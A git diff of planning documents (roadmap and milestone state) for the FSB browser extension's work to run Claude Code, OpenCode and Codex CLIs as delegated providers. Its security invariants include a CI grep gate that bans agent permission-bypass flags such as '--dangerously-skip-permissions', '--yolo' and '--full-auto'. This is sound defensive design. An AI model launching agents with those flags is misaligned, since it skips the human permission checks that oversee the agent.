consent/side-panel/feed/summary UI with no provider-specific branch. + +**Wave 10** *(blocked on Wave 9 completion)* +- [x] 64-13-PLAN.md — Wire exact validation/root/CI/security/full-suite gates and the still-pending three-row human-UAT ledger. + +### Phase 65: Codex Adapter +**Goal**: Task-mode delegation coverage extends to OpenAI Codex with correct auth-state disclosure (ChatGPT OAuth vs API key vs unauthenticated) so users know which billing bucket a run will hit before starting; `caps.chatMode: false` across all v0.9.91 adapters confirms task-mode-only scope for the milestone. +**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate) +**Requirements**: MULTI-04, MULTI-05, MULTI-06 +**Success Criteria** (what must be TRUE): + 1. A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the verified 0.142.5 flag set (`--ephemeral` + `--ignore-user-config` for hermeticity; the deprecated `--full-auto` is NEVER referenced in adapter source, protected by the CHAN-07 grep gate against `--auto`). + 2. The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth, API key, or unauthenticated and surfaces the state in the Providers panel so the user knows which billing bucket a run will hit — with the accepted copy **Included with your ChatGPT plan**, **Billed to the API key stored by Codex; dollar amount not reported.**, or the exact sign-in/status-refresh recovery copy. + 3. A schema-derived Codex JSONL contract fixture pins the event schema in CI under `tests/fixtures/agent-streams/codex-0.142.5/`, honestly retains `liveCapturePending: true`, and awaits genuine capture in UAT65-02; the Phase 62 drift-smoke job includes Codex from the first implementation commit, and the adapter's `caps()` correctly reports `chatMode: false` — matching the milestone-wide task-mode-only posture. + 4. A user with Codex installed can pick "Codex" as their provider and observe the same delegation UX as Claude Code and OpenCode with the correct per-auth-state cost copy, and the Providers panel's `agent`-kind cost row shows tokens / turns / duration + the auth-state-appropriate subscription caption rather than a fabricated dollar amount. +**Plans**: 8/8 complete + +- [x] 65-01-PLAN.md — Establish canonical accepted identity, capability vocabulary, and durable provider-neutral persistence before Codex exposure. +- [x] 65-02-PLAN.md — Bind background-owned preflight, consent, trust, and replay rejection to the exact five-field identity. +- [x] 65-03-PLAN.md — Enforce immediate supervisor re-attestation and exact start echo before any runtime or browser-visible effect. +- [x] 65-04-PLAN.md — Add bounded byte probes, sanitized environments, serve-owned authority descriptors, and empty direct scratch cleanup. +- [x] 65-05-PLAN.md — Atomically expose the complete Codex adapter, profile, parser, fixture, roster, drift, and negative corpus. +- [x] 65-06-PLAN.md — Project safe auth evidence and exact billing copy through the existing three-provider Providers surface. +- [x] 65-07-PLAN.md — Preserve immutable accepted identity through feed/hydration and close shared 44px delegated controls. +- [x] 65-08-PLAN.md — Lock exact validation/UAT contracts and the preservation-safe focused, root, and CI closure gate. + +## Progress + +**Execution Order:** +Phases execute in numeric order: 57 → 58 → 59 → 60 → 61 → 62 → 63 → 64 → 65 +Security-first hard rule: Phase 59 is code-green before Phase 60 spawn code lands, regardless of Phase 57/58 progress. + +| Phase | Plans Complete | Status | Completed | +|-------|-----------------|--------|-----------| +| 57. Agent Identity Capture | 3/3 | Complete | 2026-07-12 | +| 58. Providers Panel | 3/3 | Complete | 2026-07-12 | +| 59. Reverse-Request Channel & Security Foundation | 4/4 | Complete | 2026-07-14 | +| 60. Adapter Contract & Claude Code MVP | 4/4 | Complete | 2026-07-14 | +| 61. Delegation UX & SW-Eviction Persistence | 8/8 | Complete (UAT deferred) | 2026-07-15 | +| 62. CI Drift-Smoke Gate & Doctor Extensions | 6/6 | Complete (UAT deferred) | 2026-07-16 | +| 63. Native-Messaging Host | 12/12 | Complete | 2026-07-20 | +| 64. OpenCode Adapter | 13/13 | Complete | 2026-07-21 | +| 65. Codex Adapter | 8/8 | Complete | 2026-07-22 | + +## Completed Milestones + +
+v1.2.0 Showcase i18n Completeness — Phases 52-56, SHIPPED 2026-07-09 + +**Milestone Goal:** Close the translation gap that reopened after v0.9.63 shipped -- full, drift-free coverage across all six supported locales (en, es, de, ja, zh-CN, zh-TW) for every showcase marketing page plus the stats page, the long-deferred locale-cookie redirect bug, and a CI gate that catches future drift automatically. + +**Phase summary:** + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 52 | Full-Page Translation Completeness Audit | 1/1 | Complete | +| 53 | Trans-Unit Resync, Stats Translation & Transcreation Review | 3/3 | Complete; VISUAL-01 human_needed | +| 54 | Stats Lint Gate Flip & Dashboard Boundary Documentation | 1/1 | Complete | +| 55 | CI Drift-Detection Gate | 1/1 | Complete | +| 56 | Locale-Cookie Redirect Fix (WARNING-02) | 1/1 | Complete | + +Archive files: + +- `.planning/milestones/v1.2.0-ROADMAP.md` +- `.planning/milestones/v1.2.0-REQUIREMENTS.md` +- `.planning/v1.2.0-MILESTONE-AUDIT.md` + +Outcome: 13/13 v1.2.0 requirements satisfied; audit passed. Phase 52's audit established the true 5-drifted/54-orphaned baseline, superseding the milestone brief's original "247 trans-units" estimate. Phase 53 resynced the 5 drifted units + retired the stats-274 JSON artifacts + transcreated the 19 hero/CTA strings across 5 non-en locales. Phase 54 flipped `lint:i18n` to cover stats and documented the dashboard exclusion as permanent. Phase 55 landed `verify-translation-drift.mjs` as a hard-fail CI gate on a clean drift-free baseline. Phase 56 fixed WARNING-02's picker-cookie short-circuit on the bare-`/` Accept-Language redirect. VISUAL-01 browser UAT remains `human_needed` (`53-VISUAL-QA.md`). + +
+ +
+v1.1.0 T1 App Execution Expansion — Phases 44-51, SHIPPED 2026-06-30 + +**Hard invariants (v1.1.0):** + +- Kept the two-tool MCP surface: `search_capabilities` and `invoke_capability`; no one tool per app. +- Preserved MV3 Wall 1: descriptors and recipes are closed-vocabulary data; no OpenTabs runtime/plugin code ships. +- Preserved Wall 2 unless explicitly extended by a verified Pattern-D design: credentialed execution stays origin-pinned and same-session. +- Writes and destructive actions stayed fail-closed until live request shape, consent behavior, and no-secret logging were proven. +- Denylisted origins remained blocked; sensitive origins stayed flagged/audited under the existing invoke/discovery consent semantics. +- Search distinguished "directly invocable T1" from "discovery-pending DOM/T2." + +### Phase 44: T1 Readiness Inventory + Status Surface +**Goal:** Create the authoritative T1 readiness matrix for all 2,314 descriptors and make status visible to developers and users so "catalog supported" is never confused with "direct API-ready." +**Requirements:** T1R-01, T1R-02, T1R-03. +**Plans:** +- [x] 44-01: T1 readiness matrix generator and evidence report. +- [x] 44-02: Status-surface and documentation honesty pass. +- [x] 44-03: T1 readiness CI guard and phase closeout. + +### Phase 45: T1 Porting Scaffold + Handler Contract Hardening +**Goal:** Build the reusable test and implementation scaffold for app ports so each new T1 handler has origin-pin, logged-out guard, shape guard, no-secret logging, consent classification, and byte-stable fallback behavior by default. +**Requirements:** T1R-04, T1R-05, T1R-09. +**Plans:** +- [x] 45-01: Port contract library and scaffold CLI. +- [x] 45-02: Current-catalog contract verifier. +- [x] 45-03: Documentation and phase closeout. + +### Phase 46: Same-Origin Read Ports — First High-Value Batch +**Goal:** Convert a first batch of high-value read descriptors from T3 to executable T1 where the app's authenticated web runtime uses same-origin APIs and can be proven without weakening Wall 2. +**Requirements:** T1R-06. +**Plans:** +- [x] 46-01: Candidate selection and Netlify/Bitbucket/CircleCI handler ports. +- [x] 46-02: Catalog wiring, search readiness, and same-origin classifier gates. +- [x] 46-03: Verification, UAT notes, and phase closeout. + +### Phase 47: Pattern-D + GAPI Bridge Architecture +**Goal:** Design and prove the missing architecture for apps whose useful APIs are separate-origin, per-org-subdomain, or page-bridge mediated, without breaking the active-tab credential boundary. +**Requirements:** T1R-07, T1R-08. +**Plans:** +- [x] 47-01: Pattern-D decision for separate-origin and per-org APIs. +- [x] 47-02: GAPI bridge decision for Google Workspace APIs. +- [x] 47-03: CI gate, negative controls, and closeout. + +### Phase 48: High-Value Read Ports — Second Batch +**Goal:** Use the Phase 47 outcome to port another batch of read descriptors, including Pattern-D/GAPI candidates if the architecture is proven. +**Requirements:** T1R-06, T1R-07, T1R-08. +**Plans:** +- [x] 48-01: Vercel same-origin read head. +- [x] 48-02: CircleCI same-origin read expansion. +- [x] 48-03: Gate, search, and readiness-report closeout. + +### Phase 49: Guarded Writes Activation Pipeline +**Goal:** Turn fail-closed write/destructive candidates into executable T1 only after live mutation-body capture, consent gate verification, and redacted audit proof. +**Requirements:** T1R-10, T1R-11. +**Plans:** +- [x] 49-01: Write activation evidence ledger. +- [x] 49-02: Evidence verifier and validation gate. +- [x] 49-03: Live-UAT template and closeout decision. + +### Phase 50: T1 Expansion Gate + Next-Batch Plan +**Goal:** Close the milestone with an honest T1 coverage gate, full regression suite, and a prioritized backlog for the remaining 2,288-descendant tail. +**Requirements:** T1R-12. +**Plans:** +- [x] 50-01: Regenerate readiness evidence and closeout counts. +- [x] 50-02: Full regression gate. +- [x] 50-03: Next-batch backlog and milestone closeout. + +### Phase 51: Full T1 Tail Migration Across Remaining Catalog +**Goal:** Convert the Phase 51 catalog-tail descriptors to explicit terminal states: executable T1/T1b where safe and technically provable, guarded fail-closed where write/destructive UAT is still required, or blocked where denylist/product/legal policy says no. +**Requirements:** T1ALL-01, T1ALL-02, T1ALL-03, T1ALL-04, T1ALL-05. +**Plans:** +- [x] 51-01: Full-tail worklist generator, acceptance gate, and batch scheduler. +- [x] 51-02: Existing-head and low-risk same-origin read bulk port. +- [x] 51-03: Retool CSRF same-origin read head. +- [x] 51-04: Asana same-origin Pattern-D carveout. +- [x] 51-05: Pattern-D and GAPI bridge implementation waves. +- [x] 51-06: Sensitive consumer/social and blocked-policy triage. +- [x] 51-07: Write/destructive live-UAT activation waves. +- [x] 51-08: Final all-tail regression, UAT ledger, and closeout. + +Archive files: + +- `.planning/milestones/v1.1.0-ROADMAP.md` +- `.planning/milestones/v1.1.0-REQUIREMENTS.md` +- `.planning/milestones/v1.1.0-MILESTONE-AUDIT.md` + +Outcome: v1.1.0 expanded proven direct execution from the v1.0.0 baseline into verified T1-ready read coverage across Netlify, Bitbucket, CircleCI, Vercel, Retool, Asana, and generated same-origin reads, with post-closeout ports reflected in the refreshed artifacts. Phase 51 closes the remaining catalog tail honestly: 1,267 rows are executable T1-ready, 556 rows are guarded fail-closed, and the remaining 491 descriptors are explicitly surfaced as bridge-needed, UAT-needed, blocked-policy, or degraded/discovery-pending rather than overclaimed. + +
+ +
+v1.0.0 Full App Catalog (OpenTabs Parity) — Phases 35-43, SHIPPED 2026-06-29 + +Archive files: + +- `.planning/milestones/v1.0.0-ROADMAP.md` +- `.planning/milestones/v1.0.0-REQUIREMENTS.md` +- `.planning/milestones/v1.0.0-MILESTONE-AUDIT.md` +- `.planning/milestones/v1.0.0-phases/` + +Outcome: full OpenTabs-derived catalog/search/discovery surface shipped with 2,314 descriptors across 128 app stems / 129 services. The milestone deliberately fed the existing tier model rather than hand-porting every action: 26 descriptors resolve to T1/T1b today, 5 guarded writes remain fail-closed, and 2,288 descriptors remain T3 DOM/discovery-tail. Full milestone audit passed; non-blocking live UAT and T1 expansion debt are carried forward. + +
+ +
+v0.9.99 Native Capability Catalog (FSB API Execution) — Phases 26-34, CODE-COMPLETE 2026-06-23 + +Gave FSB first-class authenticated-API execution as a fast path alongside DOM automation, between Wall 1 (closed-vocabulary recipe DATA bound by a fixed interpreter) and Wall 2 (MAIN-world authenticated fetch). Full `npm test` EXIT 0; live-browser UAT debt (UAT-27/29/30/31/32-01) carried forward. The v1.0.0 milestone extends this substrate verbatim. + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 26 | Recipe Schema + Bundled Interpreter + MV3 CI Guard | 3/3 | Complete | +| 27 | Authenticated Fetch Primitive (MAIN-world) + Origin-Pin + Resume-Sidecar | 3/3 | Complete; live FETCH-05 UAT human_needed | +| 28 | Lean MCP Surface + Capability Search + Eval Harness | 4/4 | Complete | +| 29 | Catalog + Tiered Router + Bundled Head + Declarative Tail + Autopilot Parity | 5/5 | Complete; live-capture UAT human_needed | +| 30 | Consent Governance + Recipe Signature Verification + Audit + Legal Posture | 4/4 | Complete; live smoke human_needed | +| 31 | Network-Capture Discovery + Recipe Synthesis + Learned Recipes | 6/6 | Complete; live UAT human_needed | +| 32 | Self-Healing Fallback + Recipe-Rot + Re-Learn + Provider/Schema-Lock Tests + UAT | 5/5 | Complete; live self-heal UAT human_needed | +| 33 | PhantomStream Media Mirroring (0.2.1 Uptake) — milestone extension | 1/1 | Complete; live media UAT human_needed | +| 34 | Explicit File Upload Tool (upload_file) — milestone extension | 1/1 | Complete; live upload UAT human_needed | + +Substrate carried into v1.0.0 (FIXED — do not redesign): tiers T0/T1a/T1b/T2-learned/T3-DOM; the closed-vocab interpreter; the consent gate (opt-out Auto default, denylist = the ONE hard floor); the 2 out-of-`TOOL_REGISTRY` MCP tools; `capability-catalog.js resolve()` / `capability-router.js invoke()` / `capability-search.js buildIndex()`; `scripts/package-extension.mjs readJsonDir` + the generated `recipe-index.generated.js` IIFE; the `github.js` T1a hand-port contract; `service-denylist.js` loader; `network-capture.js` discovery path; `verify-recipe-path-guard.mjs` Wall-1 guard. + +
+ +
+v0.12.0 PhantomStream Package Migration — Phases 21-25, COMPLETED 2026-06-17 + +Archive files: + +- `.planning/milestones/v0.12.0-ROADMAP.md` +- `.planning/milestones/v0.12.0-REQUIREMENTS.md` +- `.planning/milestones/v0.12.0-MILESTONE-AUDIT.md` +- `.planning/milestones/v0.12.0-phases/` + +Phase summary: + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 21 | Package Intake & Contract Mapping | 3/3 | Complete | +| 22 | Capture Adapter Migration | 4/4 | Complete | +| 23 | Dashboard Renderer Migration | 4/4 | Complete | +| 24 | Transport, Relay & Remote Control Integration | 4/4 | Complete | +| 25 | Parity Removal, Docs & Browser UAT | 4/4 | Complete; human UAT debt recorded | + +Known deferred closeout evidence: live Chrome-extension dashboard preview and remote-control UAT remains `human_needed`; see `.planning/milestones/v0.12.0-phases/25-parity-removal-docs-browser-uat/25-HUMAN-UAT.md`. + +
+ +
+v0.11.0 Trigger Tool (Reactive DOM Monitoring) — Phases 14-20, COMPLETED 2026-06-17 + +Phase summary: + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 14 | Trigger Survivability Foundation | 3/3 | Complete | +| 15 | Fire-Condition Engine & Value Extraction | 3/3 | Complete | +| 16 | Live-Observe Watch & Analyzing Pulse | 4/4 | Complete | +| 17 | Refresh-Poll Watch (Tab-Owning Background Reload) | 4/4 | Complete | +| 18 | Shared Tool Registry & Dispatcher Wiring | 4/4 | Complete | +| 19 | MCP Tools & Blocking/Detached Reporting | 3/3 | Complete | +| 20 | Integration, Cap UI, Docs & Edge Cases | 5/5 | Complete; human UAT debt recorded | + +Known deferred closeout evidence: live-browser/composed trigger UAT remains `human_needed`; publish/tag/release actions remain user-gated. + +
+ +
+v0.10.0 Autopilot via Lattice SDK (Phases 01-13) — SHIPPED 2026-06-15 + +Archive files: + +- `.planning/milestones/v0.10.0-ROADMAP.md` +- `.planning/milestones/v0.10.0-REQUIREMENTS.md` +- `.planning/milestones/v0.10.0-MILESTONE-AUDIT.md` +- `.planning/milestones/v0.10.0-phases/` + +Phase summary: + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 01 | Lattice SDK gap survey + integration scaffolding | 2/2 | Complete | +| 02 | Lattice tripwire + receipt primitives extension | 5/5 | Complete | +| 03 | Observability + step-markers extension | 3/3 | Complete | +| 04 | Provider adapter alignment | 5/5 | Complete | +| 05 | MV3-survivability adapter contract + bundler infra + hybrid offscreen Lattice host | 6/6 | Complete | +| 06 | FSB engine consumes Lattice provider abstraction | 7/7 | Complete | +| 07 | Archive FSB custom provider stack | 4/4 | Complete | +| 08 | FSB agent brain on Lattice runtime | 3/3 | Complete | +| 09 | FSB SurvivabilityAdapter activated for MV3 SW eviction resumption | 3/3 | Complete | +| 10 | MCP-philosophy parity for autopilot driver | 3/3 | Complete | +| 11 | Tab-aware side panel surface | 5/5 | Complete | +| 12 | Side panel follows automation | 5/5 | Complete | +| 13 | Public Lattice package integration | 1/1 | Complete | + +Known deferred closeout evidence: 11 human-gated Chrome MV3/UAT verification items were acknowledged at close. See `.planning/STATE.md` `## Deferred Items`. + +
+ +## Carry-Forward Candidates + +- **v0.9.91 v2 deferred (see REQUIREMENTS.md):** CHAT-FUTURE-01/02 (chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` + per-thread cwd pinning); GEMINI-FUTURE-01 (Gemini CLI adapter after live `--help` capture + JSONL schema pinning); ACP-FUTURE-01 (`@zed-industries/agent-client-protocol` unification once ≥2 non-Claude adapters have shipped); REMOTE-FUTURE-01 (remote/mobile delegation surfaces — v0.9.91 is explicitly localhost-only). +- **Consolidated Chrome MV3 UAT debt:** Run and capture archived v0.10/v0.11/v0.12 + v0.9.99 (UAT-27/29/30/31/32-01) browser evidence if release policy requires post-close proof. Does NOT block v0.9.91. +- **v1.2.0 v2 deferred:** QA-01 (native-speaker/bilingual QA pass), I18N-FUTURE-01 (migrate stats page off ad hoc JSON mechanism into main XLIFF pipeline), I18N-FUTURE-02 (full automated per-locale visual regression pipeline), I18N-FUTURE-03 (translation-freshness/"last synced" reporting surface). +- **v2 deferred capability families (acknowledged, out of v1.0.0/v1.1.0):** GAPI-01 (gapi-bridge handler family for Google Workspace); CLOUD-01 (cloud-console Pattern-D ports); UATX-01 (per-app live guarded-write UAT closeout). +- **Delegation primitive (Lattice-owned):** Parked from v0.10.0; re-scope as either a Lattice-owned primitive or an FSB-only consumer of Lattice receipt + tripwire surfaces after v0.9.91 stabilizes the adapter contract. + +## Backlog + +### Phase 999.1: MCP tool gaps — click heuristics + +**Status:** Completed historical backlog work retained outside milestone archival. + +- `999.1-01`: Route-aware MCP bridge dispatch + `execute_js` background handler. +- `999.1-02`: Text-based click targeting with TreeWalker visible-text matching. + +Artifacts remain in `.planning/phases/999.1-mcp-tool-gaps-click-heuristics/`. diff --git a/.planning/milestones/v0.9.91-STATE.md b/.planning/milestones/v0.9.91-STATE.md new file mode 100644 index 000000000..e3a126cfb --- /dev/null +++ b/.planning/milestones/v0.9.91-STATE.md @@ -0,0 +1,469 @@ +--- +gsd_state_version: 1.0 +milestone: v0.9.91 +milestone_name: MCP Clients as Providers +status: human_needed +stopped_at: Phase 65 automated verification passed; human UAT65-01 through UAT65-03 pending +last_updated: "2026-07-22T18:45:13.807Z" +last_activity: 2026-07-22 +progress: + total_phases: 18 + completed_phases: 9 + total_plans: 61 + completed_plans: 63 + percent: 50 +--- + +*Note: the `total_phases`/`completed_phases` counts above are scoped to the active v0.9.91 milestone (Phases 57-65) only. Some GSD tooling (`roadmap.analyze`, `phase.complete`) reports a noisy multi-phase count including collapsed `## Completed Milestones` archive entries and `## Backlog` sections — treat this file's own numbers as authoritative for v0.9.91 progress.* + +# Project State + +> **Post-milestone supersession (2026-07-15):** This file preserves the +> completed v1.2.0 state. The later showcase localization follow-up localized +> the dashboard and removed its lint exclusion, so the dashboard hard invariant +> below is historical rather than current. See +> `showcase/angular/src/locale/I18N-BOUNDARIES.md` for current policy. + +## Project Reference + +See: .planning/PROJECT.md (v0.9.91 MCP Clients as Providers — Current Milestone section, Key context bullets) +See: .planning/ROADMAP.md (v0.9.91 active, Phases 57-65; v1.2.0 / v1.1.0 / v1.0.0 / v0.9.99 / etc. archived and collapsed) +See: .planning/REQUIREMENTS.md (51 v1 requirements across 10 categories: IDENT, PROV, CHAN, ADAPT, CLAUDE, UX, LIFE, DRIFT, NATIVE, MULTI — all mapped to Phases 57-65, 48/51 complete) +See: .planning/research/SUMMARY.md (converged research summary; suggested phase structure; HIGH confidence) +See: .planning/research/PITFALLS.md (16 pitfalls with phase assignments; security section verified against 2025-2026 CVE class incidents) +See: .planning/research/ARCHITECTURE.md (file:line integration seams; brownfield mapping onto existing FSB architecture) +See: .planning/milestones/v1.2.0-ROADMAP.md, .planning/milestones/v1.2.0-REQUIREMENTS.md, .planning/v1.2.0-MILESTONE-AUDIT.md (archived Showcase i18n Completeness milestone) + +**Core value:** Reliable single-attempt execution — the AI decides correctly, the mechanics execute precisely. v0.9.91 does not touch the DOM/automation single-attempt property; it extends the surface so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers that drive the same live browser through FSB's own MCP tools. +**Current focus:** Milestone-end human UAT sweep; Phase 65 automated verification is complete + +## Current Position + +Phase: 65 (codex-adapter) — EXECUTING +Plan: 8 of 8 +Status: human_needed +Last activity: 2026-07-28 - Completed quick task 260728-k2v: animated toolbar action icon + +## Roadmap At A Glance (v0.9.91, Phases 57-65) + +| Phase | Name | Requirements | Status | +|-------|------|--------------|--------| +| 57 | Agent Identity Capture | IDENT-01, IDENT-02, IDENT-03, IDENT-04, IDENT-05 | Complete (2026-07-12) | +| 58 | Providers Panel | PROV-01, PROV-02, PROV-03, PROV-04, PROV-05, PROV-06 | Complete (2026-07-12; UAT deferred to milestone end) | +| 59 | Reverse-Request Channel & Security Foundation | CHAN-01, CHAN-02, CHAN-03, CHAN-04, CHAN-05, CHAN-06, CHAN-07 | Complete (2026-07-14; UAT deferred to milestone end) | +| 60 | Adapter Contract & Claude Code MVP | ADAPT-01..05, CLAUDE-01..04 | Complete (2026-07-14; UAT deferred to milestone end) | +| 61 | Delegation UX & SW-Eviction Persistence | UX-01..06, LIFE-01..04 | Complete (2026-07-15; UAT deferred to milestone end) | +| 62 | CI Drift-Smoke Gate & Doctor Extensions | DRIFT-01, DRIFT-02, DRIFT-03, DRIFT-04 | Complete (2026-07-16; UAT deferred to milestone end) | +| 63 | Native-Messaging Host | NATIVE-01, NATIVE-02, NATIVE-03, NATIVE-04 | Complete (2026-07-20; UAT deferred to milestone end) | +| 64 | OpenCode Adapter | MULTI-01, MULTI-02, MULTI-03 | In Progress (9/13) | +| 65 | Codex Adapter | MULTI-04, MULTI-05, MULTI-06 | Not started | + +Coverage: 51/51 v0.9.91 requirements mapped and automated/source complete; milestone closure awaits the accumulated human UAT ledgers + +## Hard Invariants (v0.9.91) + +- **Security-first hard rule.** All CHAN-01..CHAN-07 land in Phase 59 together, BEFORE any spawn code exists in Phase 60. Not deferrable to a "hardening" phase. +- **INV-01 (byte-stable MCP wire).** Every wire addition is additive: new frame types (`ext:request` / `ext:response` / `ext:event`) + optional payload fields only. No existing `MCPMessageType` value or tool schema changes across the entire milestone; a byte-freeze regression test proves this in every wire-touching phase. +- **INV-03 (BYOK provider parity).** `universal-provider.js` continues to see only the existing 7 `api`-kind provider values across the whole milestone; `agent`-kind values never leak into request-builders. +- **INV-04 (MV3 SW-survivability).** The `setTimeout`-chained iterator pattern is preserved; delegation lifecycle persists to `chrome.storage.session` per progress event and heartbeats WS every 20 s. +- **INV-05 (no resurrection of sunset modules).** `extension/agents/*` background-agents surface (retired in v0.9.45rc1) stays frozen; the new provider surface is MCP-client identity, a different concept. +- **Task-mode only for v0.9.91.** Every adapter's `caps.chatMode: false`. Chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` is v2 scope (CHAT-FUTURE-01/02). +- **No `--dangerously-skip-permissions` / `--yolo` / `--auto` in the spawn path.** Anywhere. Ever. CHAN-07 makes this a permanent invariant enforced by a CI grep gate; the Codex adapter (Phase 65) explicitly must NOT reference `--full-auto`. +- **No `@anthropic-ai/claude-agent-sdk` embedded in FSB.** Anthropic banned third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026). Shell to the user's installed `claude` binary only. +- **No native-messaging permission through Phases 57-62.** The extension has NO way to wake the daemon in those phases; delegation UX must ship an honest "Agent offline → `doctor`" state (LIFE-03). Phase 63 (NATIVE) adds the optional wake-host later without relaxing any CHAN rule — the host itself never spawns agent CLIs (NATIVE-03). +- **Source-pin tripwire discipline.** Test suite pins exact token counts + substrings on extension source. Every extension-touching commit updates paired tripwires in the same commit; the full suite runs green from commit 1 of every phase. +- **Same-context dispatch in the MV3 SW.** Delegation dispatcher integrates through `globalThis.fsbDispatchInternalMessage` / the Phase 225-01 bus, NOT `chrome.runtime.sendMessage` (auto-memory: sendMessage never loops back in-SW). +- **Adapter breadth: Claude Code + OpenCode + Codex; NO Gemini.** GEMINI-FUTURE-01 defers Gemini until a live `--help` capture + JSONL schema pinning are done. + +## Accumulated Context + +### Decisions + +Full decision log for prior milestones (v0.9.99 Phase 26-34, v1.0.0, v1.1.0, v1.2.0) lives in PROJECT.md, ROADMAP.md's `## Completed Milestones` section, and the archived `.planning/milestones/*` files. Those decisions concern the T1 capability-catalog surface and the showcase-i18n surface; they have zero shared surface with v0.9.91's provider/delegation work and are not repeated here to keep this file a digest. + +v0.9.91-specific decisions so far: + +- [Roadmap]: Phase structure follows the research SUMMARY.md's dependency chain (identity → provider UI → security → adapter contract + Claude MVP → UX/lifecycle → drift → native → OpenCode → Codex). ADAPT and CLAUDE combined in one phase (60) because the Claude Code MVP is the contract's first real implementation; UX and LIFE combined in one phase (61) because the UX affordances (kill switch reclaims tabs, offline state, take-control) are inseparable from the persistence semantics that make them SW-eviction-safe. +- [Roadmap]: MULTI split across two phases (64 = OpenCode, 65 = Codex) rather than combined into one, because each adapter has its own version-pinning spike, fixture capture, and auth-detection story — the incremental phase cost is small versus the risk of one adapter's drift blocking the other's ship. +- [Roadmap]: NATIVE placed at Phase 63 (after DRIFT) rather than immediately after UX, so the doctor extensions from DRIFT (compatibility matrix, per-adapter section) exist before the native host reports its own state; NATIVE cannot ship BEFORE UX because it augments UX's "Agent offline" state. +- [Roadmap]: Security-first hard rule is enforced by phase ordering AND by the CHAN-07 CI grep gate landing in Phase 59; the gate protects future patches (including Phase 65's Codex adapter, which must NEVER reference `--full-auto`). +- [Roadmap]: DRIFT is INCLUDED in v0.9.91 (Phase 62) per user confirmation; the drift gate is scoped to Claude Code from its first commit and extended per-adapter as OpenCode and Codex land in Phases 64/65. +- [Roadmap]: NATIVE is INCLUDED in v0.9.91 (Phase 63) per user confirmation; the additive `nativeMessaging` permission is the only permission change in the milestone. +- [Roadmap]: Every `agent`-kind cost row displays "included in your subscription" + real token/turn/duration counts — never a fabricated dollar amount (PROV-06). The Codex adapter's per-auth-state copy (Phase 65) is the strictest test of this discipline. +- [Roadmap]: The reverse-request channel reuses the existing `ws://localhost:7225` bridge; no new port is added (SUMMARY.md architecture decision; a separate supervisor port is a documented fallback if hub-forwarding proves fragile during Phase 59 implementation). +- [Phase 57]: Read MCP client identity and inventory lazily through feature-detected AgentScope suppliers so bare scopes and structural mocks remain compatible. +- [Phase 57]: Reuse PLATFORMS and resolvePlatformTarget for installed-client detection, with fixed shell-free Claude Code version probes. +- [Phase 57]: Deliver one memoized client inventory through both system:client-inventory and agent:register payload.platforms. +- [Phase 57]: Keep MCP clientInfo observational and bounded — Only sanitized name/version evidence is persisted; authority, cap, ownership, and routing logic remain unchanged. +- [Phase 57]: Converge both installed-inventory delivery paths on replaceInstalled — Registration piggybacks and system frames replace only installed evidence while preserving clicked, connected, and unknown siblings. +- [Phase 57]: Persist onboarding intent without awaiting storage — Resolve current at click time and serialize same-page writes so feedback timing is unchanged and rapid clicks retain counts. +- [Phase 57]: Join known MCP identities only through a frozen exact alias vocabulary — Unknown names remain visible as raw, non-authoritative entries; no fuzzy matching or Gemini aliasing. +- [Phase 57]: Re-read durable provider evidence for every merged query — Clicked, installed, connected, and live evidence stay separate and no recommendation is derived. +- [Phase 57]: Guard getMcpClients with the existing own-extension sender check and direct registry access — This preserves same-context service-worker dispatch without self-send. +- [Phase 57]: Expose getMergedClients as a non-enumerable additive helper — Direct consumers gain the method while the locked enumerable API remains compatible. +- [Phase 58]: Keep provider settings and recommendation evidence separate — modelProvider remains closed to seven API ids, agent intent stays in agentProviderId, and fixed live/installed/clicked evidence changes only one advisory recommendation. +- [Phase 58]: Keep the radio roster as an in-form projection — API and agent selections use the existing Save/Discard boundary, inactive-kind values survive switching, and agent ids never enter modelProvider or discovery maps. +- [Phase 58]: Preserve the last successful evidence snapshot on refresh failure and label it stale — provider evidence and the single recommendation remain advisory and never mutate selection, API inputs, Save state, or storage. +- [Phase 58]: Keep account and billing truth independent from client evidence — absent auth renders Billing not reported; only explicit future subscription/API/credit/Zen/provider modes can change that label. +- [Phase 58]: Announce background provider refreshes through polite status and reserve one assertive alert for an explicit manual failure; never turn the full details region into an alert. +- [Phase 60]: Keep spawn authority serve-only and recovery-gated — bind HTTP first, finish exact journal recovery second, then advertise `agent-spawn`; stdio and incidental bridges never own a supervisor. +- [Phase 60]: Use one closed Claude Code 2.1.177 profile with a retained native path, immutable MCP-only argv, a shipped static FSB agent, task text through stdin only, scrubbed provider-key environment, and truthful schema-derived fixture provenance. +- [Phase 60]: Treat process-tree or runtime cleanup uncertainty as daemon-wide degradation — stop accepting starts, preserve exact evidence, and drive one orderly nonzero shutdown rather than risk overlapping browser authority. +- [Phase 60]: Bind delegation lifetime to its authenticated reverse route and join setup, stdin, cleanup, and cancellation so every topology/exit/error race settles exactly once without replay. +- [Phase 61 planning]: Keep provider selection background-authoritative and exact; pure preflight plus challenge-bound trust enable precede all visible mutation, while Providers gets a separate authority-reducing confirmation reset. +- [Phase 61 planning]: Persist one bounded redacted typed entry per normalized event before fanout; per-correlation bridge tails, closed snapshots/terminal codes, and UI-only exact sequence suppression prevent final-over-write and recovery ambiguity. +- [Phase 61 planning]: The controller owns id-keyed run records and active-tab eligibility; confirmed hold moves every exact mapped tab into one sealed lease, complete restore precedes resume, and Stop waits tree settlement before exact release/count. +- [Phase 61 planning]: Active delegation liveness uses one ref-counted 20-second exact-nonce heartbeat with daemon echo and three-miss disconnect; restart loss additionally requires generation plus bounded recovery disposition. +- [Phase 61 Plan 01]: Keep API-kind agent ids storage-compatible but inactive at pure preflight; only exact `agent` + `claude-code` enters delegated routing, with closed unsupported/offline/unpaired results. +- [Phase 61 Plan 01]: Persist a challenge's one-use trust-write slot before local trust enable, so replay and local-storage failure cannot reopen authority; exact provider-local clear remains the sole false path. +- [Phase 61 Plan 01]: Keep 